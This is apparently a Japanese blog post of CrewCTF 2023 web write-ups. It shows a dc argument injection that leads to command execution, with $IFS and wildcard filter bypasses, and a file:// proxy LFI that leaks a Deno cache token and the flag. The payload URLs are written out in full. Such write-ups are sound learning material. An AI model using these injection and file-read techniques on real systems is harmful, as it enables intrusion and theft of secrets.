はまやんはまやんはまやん

hamayanhamayan's blog

CrewCTF 2023 Writeups

[web] sequence_gallery

sequence = request.args.get('sequence', None)
if sequence is None:
    return render_template('index.html')

script_file = os.path.basename(sequence + '.dc')
if ' ' in script_file or 'flag' in script_file:
    return ':('

proc = subprocess.run(
    ['dc', script_file], 
    capture_output=True,
    text=True,
    timeout=1,
)
output = proc.stdout

こんな感じでファイル名が与えると、指定のdcファイルを持ってきてdcコマンドで実行してくれるサイトが与えられる。
flag.txtというのを読み取ればクリア。
subprocess.runではscript_fileとして引数を渡しているが、オプションを入れ込むことができるように見える。
Man page of DCを見ながら使えそうなものを探してみる。

色々試すと--expressionというのがあり、任意のdcスクリプトを差し込むことができた。
script_fileに--expression=3\n4\n*pとすると12が表示される。
dcスクリプトでは!を使えばコマンド実行もでき、http://sequence-gallery.chal.crewc.tf:8080/?sequence=--expression=!id;とするとidコマンドが実行された。
ok. あともうちょっと。

空白が使えないので何とかする必要があるが、空白の代わりに$IFSを使うテクを使えばbypass可能。
flagが使えないのはアスタリスクで適当に回避して、以下でフラグが得られる。

http://sequence-gallery.chal.crewc.tf:8080/?sequence=--expression=!cat$IFS*.txt;

[web] safe_proxy

webサーバとflag_providerサーバがあり、前者だけ外部公開されている。
webサーバ側では

const { FLAG } = await import(`http://${PROVIDER_HOST}/?token=${PROVIDER_TOKEN}`);

のようにflag_providerサーバからフラグをもらってきていて、FLAGのsha256ハッシュのみ出力される。
なお、それ以降は権限がはく奪され、flag_providerサーバにはアクセスできない。
代わりに任意のURLを取得することができるエンドポイント/proxyが与えられるが、
deno起動時に--allow-net="0.0.0.0:8080,$PROVIDER_HOST"というポリシーが設定されているので注意。

最初はdenoのバージョンがちょっと古かったので脆弱性とかissueとか探していたが、これはrabbit hole.
フラグの読み込みをimportで行っている部分を怪しむのが正答へのパスだった。

importで読み込んでいる所に何かミソがあるか?と思って色々検索してみると以下を見つける。
Deno を始める - 第2回 (外部ライブラリの利用) | 豆蔵デベロッパーサイト
importで読み込むと、DENO_DIRに対応するディレクトリにダウンロードされてキャッシュされるっぽい。
これは使えそう。LFIができれば、ここからフラグを持ってこれそう。

とりあえずLFIができるかであるが、/proxyとfile:///を使えばあっさり取得できた。
http://safe-proxy-web.chal.crewc.tf:8083/proxy?url=file:///home/app/run.shでrun.shが取れてくる。

cacheの場所はdeno infoでみられるっぽい。

$ deno info
DENO_DIR location: /home/app/.cache/deno
Remote modules cache: /home/app/.cache/deno/deps
npm modules cache: /home/app/.cache/deno/npm
Emitted modules cache: /home/app/.cache/deno/gen
Language server registries cache: /home/app/.cache/deno/registries
Origin storage: /home/app/.cache/deno/location_data

/home/app/.cache/denoを色々探索してみると、dep_analysis_cache_v1にメタデータが詰まっていることが分かる。
http://safe-proxy-web.chal.crewc.tf:8083/proxy?url=file:///home/app/.cache/deno/dep_analysis_cache_v1から落としてくる。

proxy: SQLite 3.x database, last written using SQLite version 3039002, file counter 126, database pages 46, cookie 0x2, schema 4, UTF-8, version-valid-for 126

SQLiteのdbファイルだった。

$ sqlitebrowser proxy

ブラウザで適当に探すと、importで取得したときのURLが丸々手に入った!

http://safe-proxy-flag-provider:8082/?token=5a35327045b0ec9159cc188f643e347f

トークンが漏洩。読込URL全体を取得することができた。
色々巡回すると、/home/app/.cache/deno/deps/以降にキャッシュが置かれるっぽいがパスが分からない。
どうしようか迷ったが、トークンが分かれば適当に動かしてみてハッシュが作れそうだったので、雑に動くように環境を合わせてパスを特定した。

/home/app/.cache/deno/deps/http/safe-proxy-flag-provider_PORT8082/70ec621b0141f80c80d9e26b084da38df4bbf6b4b64d04c837f7b3cd5fe8482b

同じようにハッシュが付いていますように…と祈りながらLFIするとフラグがもらえる。

http://safe-proxy-web.chal.crewc.tf:8083/proxy?url=file:///home/app/.cache/deno/deps/http/safe-proxy-flag-provider_PORT8082/70ec621b0141f80c80d9e26b084da38df4bbf6b4b64d04c837f7b3cd5fe8482b